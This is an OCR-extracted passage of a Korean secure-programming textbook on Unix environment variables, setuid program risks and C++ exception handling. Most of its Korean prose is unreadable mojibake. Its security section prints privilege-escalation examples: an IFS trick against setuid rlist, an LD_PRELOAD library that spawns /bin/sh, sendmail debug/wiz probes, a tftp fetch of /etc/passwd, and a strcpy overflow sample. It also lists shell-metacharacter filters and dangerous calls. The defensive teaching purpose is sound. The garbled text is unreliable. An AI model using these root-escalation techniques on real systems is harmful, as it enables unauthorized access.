AQEAE @A, A2 o] EHaH Shell o] ojt]E o}

® LOGNAME H

= o] W= AREARY 219l WOtk ($USER) - 21818 = ARE
7ol ol & ¥t

» LOGNAME W= A 2~Ho] ALgx9} ATA| 7= o] 2o} Ex)
dQl =]l olFS AAstal vt A{iztel LOGNAME ® <=7}
A S B A Al FY e ZEASY IR
3ol AR 2 write HE ol o)s) HAl

Az s s el

o
(IN]

M AP /484 Z oAl

rk%

AagEol Agsel gr) Wl sY TRaAEe A At
of|l Buldg AHgEHEA, offl AJBPAA, AT IR 3] I

4 oW HeEe S Pasler AR & 4 oA Wik
%

[oI& 3.2] set WS 0|88l shell o|A{e| &ZHHS &l
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[prosyh@hackerslab test]$ set

HOME=/home/prosyh

BASH=/bin/bash

LANG=en US

TERM=xterm-color

LD LIBRARY PATH=/usr/local/lib:/usr/local/mysql/lib

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin

E AT AL Mg E AR e, "W 3E e gAY
7F Aok Ml e A2 ey 71E9

o
o
W= Weg=dle” A" 7 " dE =1 oed

$ echo $ hackerslab
Unix is a good 0OS!

$

=

oA A2 PROSYH =

A7 gelHo] 9 e Aol

e A Motk & Mze 4 A

nt

$ /bin/csh € M2 49 23

[o)

% echo $ hackerslab

<= gkol AolHol 9A gonw obF AE FYHA gt
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23} el
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A}t export

Kol
=

&A= export &

71 4l

™

B
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o

B

Bo
el

S export

2t

[ol®] 3.3]

$ export hackerslab

$ /bin/csh

echo $ hackerslab

o
o

Unix is a good 0OS!

o
o

exit

exit

o

Bo
ol

$ unset <

s
B
—_
o
el
ﬂwo
mo

74



MEEO AR SRR

o]218k 4o 22h2 setenv(3), getenv(3), putenv(3) TS T34
183 Zrag o] FHS dotrr] s o

2as Had s ABAA BAL

9,
i
2
™
£
r (
o,
g
x
Ll

o

10
[K

[ol® 3.4] M =5}

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>

#define LOG _FILE NAME "myname.dump"
int main (int argc, char **argv)
{

char *tmp data;

char file name[40];

char *my en;

int fd;

if ((tmp_data = getenv ("TMP DIR")) ==NULL)

printf ("TMP_DIR ©] A® o] A &rh\n"
"TMP_DIR & WA AlPsHoF Ith\n");

exit (0) ;

memset (file name, '\0', 40);

sprintf (file name, "%s/%s", tmp data, LOG FILE NAME) ;
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>

printf ("file name is %s\n", log name);

printf ("your home directory is %$s\n", getenv ("HOME")) ;

my en = (char *)malloc (40);
memset (my en, '0', 40);

"USER _ENV", "hello prosyh");

mnmo — 0 "
%$s=%s",

sprintf (my en,

putenv ("TEST ENV=hello world");

putenv (my en) ;

printf ("o 7)o A FEE execl\n");

execl ("/bin/sh","sh",0);

Aol ABA7IH, TMP_DIR 8755 HALe|A o] gho] A" = o] 3l
Ao olHuAAlE Bulal Hol FREES Hof k. 19

v Wz TMP_DIR & A€ 3

® bash #o]zhd

[prosyh @hackerslab test]$ export TMP DIR="/tmp"

Hgow
® csh dolzhd

[prosyh @hackerslab test]$ setenv TMP DIR="/tmp"
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=
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L

o

=
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, echo $TES
A= AR

o] kol

< exel ¥)
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Vo) A2 HEobe

I

R_ENV
1121
TEST_ENV
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Rl

0

=
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[

=

=

b

Zo13e) LA A Aggel

Ry

o

Ao A echo $USE

ol A 4 (fork

putenv ¢} setenv & &
9] oo} 2ol

18y exit
USER_ENV
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= cdpath
- path ¢} PFA7MAE TYEe] o]E5S 7HAaL giAu, o] T
Y Ee]52 cd, pushd, popd WEel oJsAwt AL = Qltt.
= home
- AF87el home YeEele] Ar) A=E /A a Yek.
» history
- Cshell o] AZate Wolo] 52 o).

= gsavehist

set savehist = 5

= prompt
- prompt o RS vHrE JS drh v 22 alias &

2 dAe] tPER]E prompt goll UERNO] & Fo|th

% alias setpr 'set prompt = "<%Scwd> "
% alias cd 'cd \!*; setpr'

s setpr

- Ao X% shell H+-59

2
A el glol g Hn,

O
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std %= : environment variable

A&7 login HE =2, HYE 7 59 548 AnE2 5 87

FEolt. oyt SFAMFEY CShell HTEF Ao H2 SAHHSTE
CShell # Tt 2o oJ3fo] Hito] 3] 8= AW CShell ¥4E
C Shell o oJsA"t o] &3 & Uri= Zlolth

flo

2
ol & o), AHSA} vi g ER9le ALSEHH, vi = TERM o|ehs
BYMFEIE EUde FHE wobd o] g,

setenv VARNAME string

21¢] W& VARNAME 2= 3174 WE string &2 %7]3}3H

CShell & 9 719 374 WS 7FAAL Qlow, A& AlFAl 4%
2 AP EY] S v F£E dth
Th52 CShell o] 7 gl 2 o] 874 WiFEo] oigh Aol

= TERM

[&

22 AAY HAE AASE HES
Abgsh=dl, o2k -9l TERM ©] Euldo] A Rle] W
= AT AEF Sl

— ©f TERM = ®Fef of@ port 7} ofwj gk Ejnide] ugx o
AAde o] Ak, login & 5ol Aol . spA|Rt
network ©Jt} dial-up &= AZS P& A= AAS T

of @t

- vi,more ¢} @

of

ol

=
=

setenv TERM fastb

- W#& TERM 2 fasts & B9 3lo|th
* HOME
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- AFE-AHS] home HEEZ S At AE2E #A73til Avh home
N HOME W5253E I 3 deth
= PATH
— CShell ¢ path ¢ 2 JHE T3 JARE T2 FA o=
o] it} path o zko] wi# W PATH ¢ k% CShell ©] u}
=

set path = ( /bin /bin /usr/bin /usr/local .)
~ 9]¢} #o| path & ®}4¥, PATH = t}32 o] npyt),

% echo S$PATH

/home 1/sparcs/team 1/bin:/bin:/usr/bin:/usr/local:

= LOGNAME or USER

- AF8#}9] login name < 7FA| 3 Qlth

LHZ& HZHo| : built-in command

alias U set 3 2 W BH7E g B4L e o o g

ﬂll

AHEE 7R AF7HA Belgith BE o8 WH 5L cshre ¥
ZoE o] Utk

o2 W PEoQl setenv = HE login el g 19 o3
A 9o & WF PR ES s Sk

=  umask
- umaks [nnn]
- A 2% oy fHAED 2] permission & 43}

Aahe o] AMEETh umask = Y31 9= permission &

glof= el Akg-o] #u

[

DR

ol
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C shell script ©]t}. o] W&o
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|

o, o] 7]o| A name %k

A}

o

subshell ©] A37] %]

Z] O
™

e

o

5}

}7, C Shell
k7] 91%
/.cshrc
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[¢)

°

source

e
°

0SS
A
—~
fie)
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el
O
ﬁﬁ

o] o] gl

1t
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sfol, A9

o

process ©of ¥

limit

limit coredumpsize 0

S
°

0
@

setuid /

£ dole oz A4 = gk

=90 o
1.

T
<)

3

©
=4

°f ¢
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Atk 1y

setgid
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3l sh ¥} bash o] <

o A system(3) ¥} popen(3) =t Holl A back-tick Ak}l 2] 3|
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e RS
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5134

+ FH putenv(3) =

]

getenv(3) = ©|

5
A
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buff[128];

[l & 3.5] eEHa ALSol 2

char *sy,
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if(! (s = getenv ("HOME")))

return -1;

strcpy (buff, sy);

= o] 2L FHWMS HOME 9 A7) neshx] ¢ar 149

128 byte ol HAlFo 2 MHOWMIZe Bt TA 7 AT

- dwoR A ZzAsdA FAEFE FEH R

AA ZrAlzo A G wf FolsfoF gt}

o
e
-
Ll

ot

o TR g

rob
o,

ik

ok

T AUtk
* IFS & command line |4 {19~(argument) E< wEldle wAE
et & ez &3] ""(FWiEADE AFEsheEd AFEAFE

A AeaA ge Bz 44

i

A5 Aes &8k WH(ColA
system, popen ©]1} Perl o A back-tick & 0])S 2 3sto] 4

% s 5 qlvk

1o

o A3} AR X oAl AlzElo| o]adlA] ke AlEAIE o]F
H =

o ¥AHI & Ho] Ariztn ARSI 24 + 9ol Adaih
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3.2.2.

do| A

ALgALe] B 9te] So] Q= oF 7HA] 7S o] &5t

PATH attack

AL}

A4 R WAH Ao R g obE

= T =

ke

PATH=. : /usr/bin:/usr/local/bin:/bin (X)
PATH=:/usr/bin:/usr/local/bin:/bin (X)

PATH=/usr/bin:/usr/local/bin:/bin (0O)

FE djof| = full path & ©]-&3tt},

27191 ¢ A% PATH & reset 3Hc}(53], FE)

$HOME attack

2AYENA “~/rhosts”E Frarsh=dl A=) ol HOME W+ #h&

R e e Axg.

Filename attacks
g o] Zo= / ¢ null 4} Qe Agto] ¢l
“&$ ol AR THE

sagEdA Frste Hdst ¥

o
BN

_I>i
)
olr

2AYE G4A F9)

=]
=

o]
H
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3.2.3. shell 2 A8st= g2l F ™

e

® < C > system(),popen()

® < perl > system(),open(),eval(), exec(), * " (Backticks)

® < php > system(),passthru(),exec(),popen(),escapeshellemd(),"
*(Backticks)

* patch
o FFES ALY wel W AR Horhe AS

shell metacharacters 55 A7 &fof 3lt}.

shell metacharacters

P<>FITep S () [ {}: """/ \n\r

" casel

Svalue =~ tr/+/ /;

Svalue =~ s/~!/ ~!/g;

$value =~ s/<([">]1[\n)*>//g;

Svalue =~ s/ ([\&; \ "\\\["*2~<>A\ (V) N INTINV{NINS\n\x]) /\\S$1/g;

Svalue =~ s/\0//g;

Svalue =~ s/%([a-fA-F0-9] [a-fA-F0-9]) /pack("C", hex($1))/eg;
- case2
if (Sshell =~ tr/;<>*[ &S'#O)[1{}:""//) {

print "don't abuse";
exit (1) ;

}
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3.2.4.

3.2.5.

= case3

$value =~ s/ ([;<>\*\| &\S#\N(\)NININ{\}:""]) /\\$1/g;
W FATLs F ok

e

[olxl 3.6] ®[o{&

In a case

if ($Sadmin)

{

admin mode I ¢

}

admin=1 °]g}+= S FoH YA =2 AYsHA FHoh

7|El F2olet H
3l 3 4=9] localhost 7} o} T}FE host & Redirect 7Fs/do] A=A A
Zys| Eof

system("ls -1 /var/www/board/db") ;
485k paTH & YWolF A

system ("/bin/ls -1 /var/www/board/db") ;

SENV{"PATH" }="/bin:/usr/bin:/usr/local/bin";
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SENV{"IFS"}
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Sval = SENV{Svar};

Sval =~ s|\n|\\n|g;

Sval =~ s|"[|\\"|g;

=\"${val}\"\n";

print "${var}

suid, sgid
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3.3.1.

;01_
=
iz

o] AA A7IA =

&

o)

Ho

® IFS(Internal Field Separator) ©]-&

=20l 9

3L

exec(), popen() °]-&

i

® PATH

Ny
;O*

=0

B

18

LD_PRELOAD ©

5

® L[LD_LIBRARY PATH

54 gholneiel o] §

ofl A

=X
S

olgs BAF

23

[ClH 3.7]
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>

Az

/usr/ucb/rlist (SunOS)
*IFS W5 ol &3 45 3.
*popen () ©] 83 A /usr/lib/sendmail Z=3IT}.
*[8lgm] -Advisory-26.UNIX.rdist
% 1ls -1 /usr/ucb/rlist
-rwsr-xr-x 1 root bin 512 Dec 11 11:27 /usr/ucb/rlist*
% setenv IFS /
% /usr/ucb/rlist

/usr/ucb/rlist: usr: cannot execute

[oI&l 3.8] &4 M= o[& (CHE o)

*LD PRELOAD 9| #S W7 strt.
*Y 3} Dynamic #holH g 2T},

seolnef 7 oko] Ash: F4E Ay,

$ cat hackerslabget.c

hackerslabget (char *buf,int n, FILE *fp) {
execl (“/bin/sh”, “-sh”,0);

}

$ cc -c -pic hackerslabget.c

$1d -o libme.so *.o

$LD PRELOAD=. :$LD PRELOAD

[oA 3.9] &4 H= o[& (CHE o)

*rdist

[8lgm] -Advisory-26.UNIX.rdist
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MEEO AR SRR

*loadmodule
[8lgm] —-Advisory-23.UNIX.SunOS.loadmodule

*ff.core (Solaris)

oMol UUS WA F&E 1, ol HO
/usr/local/bin/sysinfo version 1.0.0 2 {1

[QRR o
U E

297} wet.

SESPARS

gl =

Zo] shell 42 AAE o o TAE Lo

IFS(Internal File Seperator)2}+= 37 W47}
7=
BPUSE U FAE] gz 24
39 317 2 & += loadmodule 37, e

T F IFSE /& AAdsta (dvlo

Ego

1= )

E9°] csh o]2}H % setenv IFS /) 2

root ¢ A= 7HE 5 S o

7HA

® 327 :sysinfo M 2.0.6 & T ANE A~E

rdist H1
SunOS 4.1.2 ¢ L o] H¢] 08, A/UX 2.0.1, SCO 3.2v4.2, BSD NET/2 A<
A Ysh= giFiEe] A]2® oA /usr/ucb/rdist

L} /usr/bin/rdist = HQFol| ZAI7F &= HIE At} rdist =

Systems Z+i= BSD rdist &

7R 1

popen(3) ©|&t= W& Al®l 8H4(C function)S ©] &3 F S A =
t}, olu S Y3l ©]&3F+= sendmail o] X Z1:E oot o HIES
zka A o] A Hrh o] 9A setuid WiEAdl o] & of&5te] oH
ATt root 7F E & o] Al dF B fF el U
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® 3|ZA2 :SunOs 9| Patch-ID# 100383-06 2| WA= 7} e}A A= 8}
W Aol "k EE rdist @ 7]5S §lol7] 913 setuid bit & A A

AL AnHE 0 02

autoreply H1

/usr/local/bin/autoreply & elm 37| %] 2] AXJoA F4=2 o=z ug} Qo
£ ZRao|thelm o W1E RE 0SoA FF5H R AAEE £A4
ol

ks o] M thuko] A Sl Al ke AbES WSk w 1ot
o] 1= W OS ol #A glo] Elm Mail System & 247
o] S 7HAA Ak delA FE5S wsirh. 94 setuid o I T

AEHEE Zof root o] #dtoz X230 2gshe e oA AF4le]

=
of
=5
rL
2
[-40

P
T
A& 715 4 rholE o] &3 root P E ] rhosts o] 22 3}

o 3AA  AAEAL HF F2 A AL ot autoreply o HP|AHS
0= Fol AHgS e & wEl= Aolth shAwk A dE 666

o® FE AE kAt

o

binmail(/usr/bin/mail)2 {1

A0S 4.1.x o] Mol A &5 = BIlolt o]s 3 AJAElY] o= 3
ot ol FAdS AN = dojA AWk {FAE0] root 7t 2
A

o] W1 /var/spool/mail ¢] Tl EzE] Hu|Hdo] rwxrwxrwt(S-2
IWXIWXr-X) 2 25 Ao Al 227] dgko] s7F HA7] witel] HAHA

B Lo ot
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= vendor E°lAlA patch & 3t}
» 7S o] Ao =m AS st WH O E = mail spool T HEE ]
= ofel glol Wel= Zolth. e, o 227] Hghe] gl

ot elm o]} /bin/mail, /usr/ucb/Mail & A}8-3 4= 1A Hr}

7] #

h s

o

passwd(/usr/bin/passwd)2| H1

/bin/passwd -F ¥ 12} % 3= o] AL SunO0S 4.1.x & 7]FolA 5
= HILelt

ojw el ARk A ZtE fo WIaE o], doe dd(=E v4S =
Moz srnz / taEale rhosts 2 AAA7E o) AAE] o
v o] AAEVE Yt tPE e symboliclink & ZAolF 1 A4l

o] RbEa AL TS o] Xow I AAHEE WS o]&ste Ao

» X FH ZEIWE PR s
» passwd & Ao -F &
=3

SunOS 4.X.X /usr/lib/sendmail 2| 81

SMTP(Simple Mail Transfer Protocol)¢] W12} &2 7]% sl Aotk
AR A 2B o ke Aol A2l FHeEEA BSD 4
2ol = -] wjg )} FAlS HdEhE sendmail Z2 o] 9l o]
xR T wHds Betde £A4E A1

2E°] o5 XEE o] Hol M7} A=A 1S afjoF gt AA

BSD 8.6.4 W2 o] £A|Ho] e AR =8yttt o|u Worm 4
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A2 BOEEAIS doZld Hol 9l7] wiitel HAle] Bow nptol
=t

LA

.

® |27 :sendmail 3t= HHS A=E5HH ¥

»  telnet25 = 3] Ao T AEC A% sendmail ¢ B AS 3

Q1 gk},
= /etc/aliases 1} /usr/ucb/aliases ° 4] 'decode'E A 3ttt

% cat /etc/aliases decode: "|/usr/bin/uudecode"
- 99 2ol Ho] g Wi 9 B FA Azt

dly # cat /etc/aliases ... #decode: "|/usr/bin/undecode"

L,

PHe Bt WS ALS

o

Bl A

Ll

IR WA H]

oA FE=EgT
»  sendmail.cf oA 'wizard' | AP S ALLSHA] U=
»  sendmail oA 'debug' HW#HE o] &3dA L=t}

= TS FxsEE Pk
[ofid 3.10] &3 o

baikdu % telnet localhost 25 Connected to localhost. Escape
character is

'~1'. 220-baikdu.

hackerslab.co.kr Sendmail 8.6.9H1/Baikdu KAIST CSH ready at
Thu, 16 Mar 1995 00:58:23 +0900 220 ESMTP spoken here debug
500 Command unrecognized wiz 500 Command unrecognized kill 500
Command unrecognized quit 221 baikdu.kaist.ac.kr closing

connection closed by foreign host.
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Wl rdebug'ol '200 Debug set'Qo®E -SH3C}

baikdu % telnet localhost 25 Connected to localhost. Escape
character is

'~1'. 220-baikdu.

hackerslab.co.kr Sendmail 8.6.9H1/Baikdu KAIST CSH ready at
Thu, 16 Mar 1995 00:58:23 +0900 220 ESMTP spoken here debug
500 Command unrecognized wiz 500 Command unrecognized kill 500
Command unrecognized quit 221 baikdu.kaist.ac.kr closing
connection closed by foreign host.

W rdebug'el '200 Debug set'S® SHIITIH A WMo E n A ST},

tftp

r [*]
0%
lo,
Q
e
o
N
o
XN,
K
o,
__E
-
=
LS
ild
)
Ll

~
@
o
~~
ol
oo
n
»n
=
o
il
0,
ofo
:?L
Jo
ro
%
e
v

[GIM 3.11] titp 7} eHMBHX| S get /etc/passwd & 0| Bal &tQl

[prosyh-hackers 193 ] tftp hackerslab.ac.kr tftp> status
Connected to hackerslab.ac.kr Mode: netascii Verbose: off
Tracing: off Rexmt-interval:

5 seconds, Max-timeout: 25 seconds tftp> get /etc/passwd Error

code 1: File not found tftp>
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&H|

)

N

3} o] Eh,

[e)
=

=

=

=
tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s

/etc/inetd.conf
/tftpboot

)

S

2 A8

TCP_WRAPPER

T2

kv

SUID/SGID

A oAl
ol 7] witel T2

A

°©

.]

o

o
S

I

X A

K

(=1}

&

__A_l

3.4.1.

of o

23
=

=

3L

setuid/setgid

5

Aok .

o=z A

w

ol

)

el

ol

70
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il

™
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fie)

il

B
N
m
il

A
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t C/C++ AF&AFE o] &y 3US ##include & A A o]&3 4= Utk
2> =5 AYAE7] Aol environ & FAS Q7 QXA NE 2o A

z7] (RS 2d=rF AAEY] A ol 2&#sty] witol] ALl A7

WA e
A9 W environ o] Ao vhge iFel Ao Avk WS A =

ZYMELS HBE environ & Moz g

N
N
i

(T,

Il

il

BN
N
X,

_O‘L

rir

P

rlo
(03

o
o

=)

H

o,
>,
N

N

olr

_O‘L

X

&2

X
d

o o
o =
oo
2 g o
s o B
oz
ST
PN
o
A [”_>|“J_,
- r_?L
0.
e e
| o
p ®
e,
s
o
e yo
o x,
=t [}
z
I
N ‘1)1'
o
M
s 2
(-7

+
N

>
o
e
+
o
i
o,
rir
i

(o]
i
Fo
ol
Y
&
Y
lo,
td
I
[k
it
I
uic]
rlo
o,
ﬂllﬂ

of
(R
X
1A
4z %0
=y
2
tlo
e,
Fo
tl
_0|L

rios
o
o
)
b
o

o E oE Y2 B 3kE O] A @2 clearenv() &
Zolth. clearenv() o= EUkE AAbE ZEal ldl ol
| Aeojlo] vkar delA AIRE oW o] fAA] HE o] HFE
A ekokrh. 12y clearenv() ¥ POSIX 9 (2E@ 77 ¢ POSIX

el gej=lo] glom Z1efA olol thall = &4 ez 9l

-
e
>
ofo
_0|L
rlr

5]
®;
)
2

IX1

)

=
=]
ol
)

st
R}
o
ol

220l A clearenv()+ <stdlib.h> 3t A o] x o] QAT #include &
x33t7] ol __USE_MISC 7} #define o] <] o5 o] QEX]
gl oF gttt oFh
2] _SVID_SOURCE %+ _BSD_SOURCE 7} #define ol 23] 25| Al
3}l <features.h> LS #include o] & *3tsl= Aolt} - o] T2

i R EE LY

X
X A

o

Al A

Aol Mt w¥He  USE _MISC & A 93|

[}

3}o
=

—|~
Anj
Ho
o

¢
¢

ax
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ofok &l K-g *'/bin:/usr/bin" ¥} o] a3t ot} UnkH o=

IFS (Y] ZEx= Fwo] 3 Fx}¢l **\t\n") ¥} TZ (timezone, A ZItH= A

rlo

25 27b IFS B TZ 7F AR A &sktha siA 2hsstA] e A
A wk o]l System Vol 7] %3k A~ TZ S AASA G 4

kol AA oo} k= F

o
T

HAR AEATE AdekE gl Basthd 1 gel WAL gl o
& s QA=A ol FEF Ao dol el YA uFH)

2Oy do= A& ARt < $AHAE ZE3L “/usr/bin/env’ ZE

SRe AR oY (AREE Teade) BE 84 W4g Aen),

7182 0 2 Jusr/bin/env & T =3} o]o “¥ FAHS T3 AASIHL
St Wt 4h (name=value FE|2) & & F AP vp<d o] 53 1
AFE A%

e g = o]F (Jusr/bin/env) & AESte] ZTRIAWES S F

<
st Y3kt “env” o= 2] AFEAZE 91 g PATH #4S wHs 5
t}.GNU env & “i” ¢} “--ignore-environment” &4 (A28t 213
o] S Aeth) & FYA &gt 2y olE & ML env

of o]4 gLt

i
a8

PN
T
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3.4.2.

HEHOH A 3

9] :wrapper 7} AAZ o)L= X2
SRS AR e = setuid/setgid &

JA sk 7hs g

of @}, a4 xz1glo)ahy

Flo] Folx ZraMelo] 2 ZTaaWs A

34 ek gl Sk

HEE X PE WY

M
rr

A
T

i

4

environ Hs=5 NULL £ A8,

environ W4~ unistd.h o] A= o] 9l o] dt}L 2] environ HTE

FAstel AARES Gk,

& ALSECh

clearenv()

clearenv()+ stdlib.h dltja}dol] A ojxo] a1 AFE- ol _USE_MISC

o] #define ¥ ojof &},

&0 K=

3| 71 2~ 34, http://www.hackerslab.org
(7)1 8AFe] Using Linux Fifth Edition

Shar A H B S AE, www.certce.or.kr/advisory/ka2000/ka2000-

040.txt
JOINC, www.joinc.co.kr

13 A = 2] o}, http://www.superuser.co.kr
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YEEO A SHERE

4. Exception Handling

4.1. Exception Handling

o &] %] (exception handling) & F3l17}? o] Aol tigstr] Heol °
o ejgk Fol7l gt EAE WA aels| Kolok g

9] (exception)Thi= A2 AP ZAQL eju]= “gf o} effo A Hlojy!
S oujgth. 22y Adojol A dejgte AL TRl dadE

(algorithm)®] A4 355 Hou t& A= (path)= F53dh= 45

[
f
I
jal)
o,
3
ox
(i,
o
fru
il
SE
2
i
>,
s
1o,
1o,
o
it
AN
Y,
o
i
N
&2
rlo
o
M

agla, TRl AP Bk o7 Egk ol 7hA| dgEo] uHA)
Al frk S A gt Fdo] gltkAY, A EgtelBe e I
A5 H2EF Heu shzd A Eefo]He] txgle] gy, i
TR2aHE 3 AAste] 0 &2 YAl H o] ‘Divide by 0’2k el 27t
gt ZRade] AAETAY ste T ZRIAS FAAINAY
A 2BS AN = AE olelse] &3] BAEA el o]dl Aoz
T2 AYHe =5 EAV 2RSS rEte TS o9
(exception)&}al gk},
AHEAEL oo gudt FoM Tz} golHES ALEE]
g ettt 24 A E Ax ojue W1, o F 18l o¢ Fo
EA 715 dskA Stk 2y AAR Y7 #dske @A E
A5 velE et e Wk 2§H o] i, B o9t S REC] LA

gt 1E7] wol AAlZ o2 Aol gk A E sfoF gtk 1A,
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=3 JpEAE A

A

[e) o
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A

of ¢] 7}

ki3

1eaL, o

P
T

s}k
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=
=

ol A o 9]

A

=l
=

Hee X277
]

A go=A

5]

3

ohool Al o &7t T

Mo

)

=
=]

, AelE A

A 0

iA1=

S

2adog w7l ¢

[~
o)

52 9

€]

)

HlolE 2 7] o <]

Exception Handling ©] 2} &2]= o &

delE LA A3E FROREE ALES SEAACK & o9

A2l7} A8,

W

B

o ¢ 2] a4 (throw)o| & o 2|7} o]
(catch)o] &+ o 2]

.

—_
file)

of| 9] FME 2 (exception handler) 2} H-2t},

= ITEAAE

oluf 3] HA7]
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=, 2] shAbH, o9 (exception) hi= A X2 alFof wHAE 4= 9]
= 7188 o] A (mild error condition) oW o] AHglE o &7}

AR AgelM TrafE FRA fa 7hsd 7 dejE dEH kol

T ol (error) R THE o &9 Hzgh A o] 2] (exception) Alo] o]
PAE oWyl Auwal, Ty Al wAE 4 gle A (fault)ol] o

Wd gol8 s ww e wek

E 4-1 013 ¥ Cl2 H|x8h o2 80 MY

g o E0{2| 2|no|

H2 (bug)

ZE (fault)

(1) AM2EM 2F& 7|58 sdStE 2 7|sHelet 520l
Aol (failure) OIX| AL M2 =X e A

I
L

T Bl LF7F Zlsid =2

fol

(2 Z=2IY ¥ =5

A of
T EA

u]
0%

9|

o2

2 A=

w2

rr
el
ful

A
T

to

=
ar.

(1) ofe @elof olof == HRZ2 Ji2l7]= LEFel .

21 (error) (2) AES AMXE 2ot StE oL 2ZEQole EE,
ALERLS] A 5 o3 elo| ofsi =7|o A= CfE 2t
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&012| 2|o|

0o
L2

ZFE Alagol S5 £ of7|x AT o4k ezt Wy

of| 2| (exception)
E EH A =5 2LHEZR0 2o LM AHEE S

ol ofZ|oll sH et

-> interrupt, trap

de] el A mlaE= deg 5391712 o 2l(error) = ZEI179
5771 E7be’ A4 FHE ek 2w e o] FRE ook s
Fe ougth delel olel= Blsal] HolARt, B AolHE 7hA AL
AT,

o=t efefote] AtolHS MR e 2

of 2| (exception)

o mmiglo] AHon AYsx Rah of| Abgho] WAl

o THA el mzgwl A8 Zo el AAH) WysE

flo
oy
z
:?L_‘,

AN o o)= AAZE A2 Qbel A WAl sl o 95 W

o o) Hds it gl ol =EEgith
ol 2{(error)(=2%)

o eIl TAstE EE LAE error o2l ot
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4.1.1.

(]
j
3
to
to
-
.1
o
gi
ﬂ
nﬂ
;9
uls
2
£
f
offt
&
H
D
ok
>

- ATFAAZF o] - ARG Ao HAEE o .

- AAZE ol Ad Foll B sk of Y.

Exception handling 2 ALE3lof sl= O|F

o 2] A 2](exception handling) & AF&3dh= &4 Shajt]= "H o} QHY 4

il
N
o
I

o3 9 Rl AE TRIPL Y=

offl ZZagolE )M BAR st Lzao] BegHA R

7} wAs)d S gl 247} 9lvh 53], 29944 (Operating System) ]

A 712 2E FAVL Al BesE 497 FF Aok

A} B EALANE Felgoni) e gow oA gt
.

712 (distance), .t (security), ¥1 %] (location), 7 -(access) 52| °]+r

2 2o 9] 4] EAdh webd Teadd AE e e
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Yol A s = W2 o] skl tigh oA

st}

del Aels TIPS B dAHeR 5
7

wHo s HES A FRelr Fst=

MEEoH ALE StEAtE

w7t BEHow Ag

T A= ekt 7]

, UES =M= A2

bR er F9 d7)A Xk A9 ol A7) wiiel de] A

drie AL FuATh v oled Aol oo Aol de) Az

a9 el Ulg FAMe] AR W ol Aed > 9

[CIIXl 4.1] Exception handing & ZE F=

_try {
/! B FY
} _except(error &) {

/78 A 2=

S YA A A (2) Lol Zd

szl s ofe] el A2 #Ads
Tk AF= 9ol Fofok b tiR-we] 08 = HAAES
=

date] TraYe ZAY A2"E TR

=z 3
=

il
¥
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oo try B9 <loli= A 29 FE=7} S071al, _except £ Qhol=
del7 HAPS A5 o5 Adsty] AF L5l o3tk
717, Exception A& IS Ay BHH, dd Ao FHE st o

& F shel Apge dee) ao.

® Exception FA](EXCEPTION_CONTINUE_EXECUTION) : oll&] *] ]
ool AL 53

® Exception # 2](EXCEPTION_EXECUTE_HANDLER) : _except =
&Y 9

® Exception ¥ Z(EXCEPTION_CONTINUE_SEARCH): 9|5 ofl&] *]¢g]
A2 3

g TR L2 aHs A3 Ty vy

2 ZEOHe o o ojud 88 AL
of ZrA A}-8-2}7} argument & Y #H3dA Y event

H
g 7ol 1 RIS 5o S AR o SN Y Zea

o ojms} GEohi wA i o] BF d9lHel Aol Wold & )

Bekd EA7F & instruction & 23T 4= gl
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4.2. of2|AteH(Exception)
(o2]

o U237} 75 A f o)A 2A7|E 3 4 9t}
o W Zya AL FHck
o uimel} R

o IRHE AAsHA FIAY EAVF fl= ARl ZIE WS

£
to
o
oldh
o
v
it
rir
N
o
e
u
i)
rlo
=2,
o
N
i)
ox
o
o
o

ZHE o5 gl
A = A= e dEYAA BEES d7i= Aotk ks, 4

2] (exception) &t X 2131 A Fo ojyx oWl FFo| o7} Al

rkel ARE W) fEold, olzle ZRaewe o s A
°]7] ol

o S AFE AN FFeE T=EvE OF JHE AT F Ut
el A4 F2E ATHT WA F7 Aole] AT F ol
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4.2.1.

30
i<} &
e
X
to
il
S
>
o
o
r>~l
iV
ol
~N
=)
p‘L
rlr
21
Iy
2,
>
rlr
o
gl
)
s
rlo
g

of 2 Aleh ALESH

EE C++ ZholBY = o] HEs AT FH=ES AFsted, o] 2
HAEL C++9) o9 2] (exception handling) 7]1%5S AM&-3ta lt}.
F C++ PolBeglE A =g o #l(logic error) 9 23 A] o &

(runtime error) & W7o og] 2d& Fdsta 9tk

=]

® logicerror = X 2139 UF 22 FAZ 3] WA= dHE
ojmstr, ol gk o5& Abdel F&38] oAUd 5 = oY olth

® runtime error = 7o A9, ARl dslr] 7 & ol 2loltt.

ThA] DA, AR A7hA = ofd ZA7F B EA S8 7 3

T dglgks Aotk olgg dlgls2 R A AT £ 9l I

= "oy sl= oy Zras A9 e 2l wimel 2As= oY

¥

& 59, UESAA A= A=A, st=do] 4l dgte] LA 74

S5 2 AzolY,

M

EZ exception ASE

R+ dolBeg e ol ARAd AATY A F FRY o RS
ofg] /el F2s T3t Ut o] FHAEL stdexcept T 3o
geluo] glem, o]5 o] §ste] gho]B 2]} throw § exception 55
catch st/ of&2o] 23k Z=joll A exception = throw & = 3lth.
FHEES AEWAR AR AZH don, o5ty &R v
I 2

p

® exception

108
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* Jlogic_error
- domain_ error

- invalid_argument

length_error
- out_of_range
= runtime_error
- range_error
- overflow_error
logic_error Z#2~¢} runtime_error @2~ exception F S A48}
3l lom, o]9]e] EE exception ¥H S ES logic_error 29}

runtime_error S T StUE ASESa Qo)

exception AL23517|

¥ golrg e HXWUEA HAIH O 7 throw ¢+ B E exception <

¥ 5= exception hierarchy o] %3+ Fel~59] AA S|t} o]E Fef~9]

reference "l ES HH oW 7} o]H exception = throw sh=A] 4
HE 4= dEd, ogA Ay r i UM, EA exception = catch %], o}
U, throw 2 o2 o4 = X exception & catch 4] (base class 2!
exception = HADNE ZAstH )

& 50, string MW 3 insert & TE3h=dl oA, A AAE W
e 7] 98l Fol A= AAf gho] FAAT ghs A 24 REE A

o M= tha Zo] IS Ao & Aolth
[elA 4.2] exception o

string sy;

int m;
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try

sy.insert (m, "Here you are!");
} catch (const exception & e)

{

// exception A2 F¥E

® exception < throw

A3k EFQl 9] exception & A F, At oy WA AE Fold H
throw s}7| Rt b #o}

exception 2~ BE exception ¥ | 29] base F20lH, ¥
AE o] ~E Aostar Ut o] QB H o] A= whatQo] ek WY &
E3etar gl o e exception o A FAA A= o] HA[A]

e vk 2%7] v, o] g catch AellM 53] A

MN

o

® base exception < throw

throw exception; ¢} 22 I A dSoA = athA] 25 AFESHA]

=t} ks, o] exception & catch 3= Yol A= 3% exception
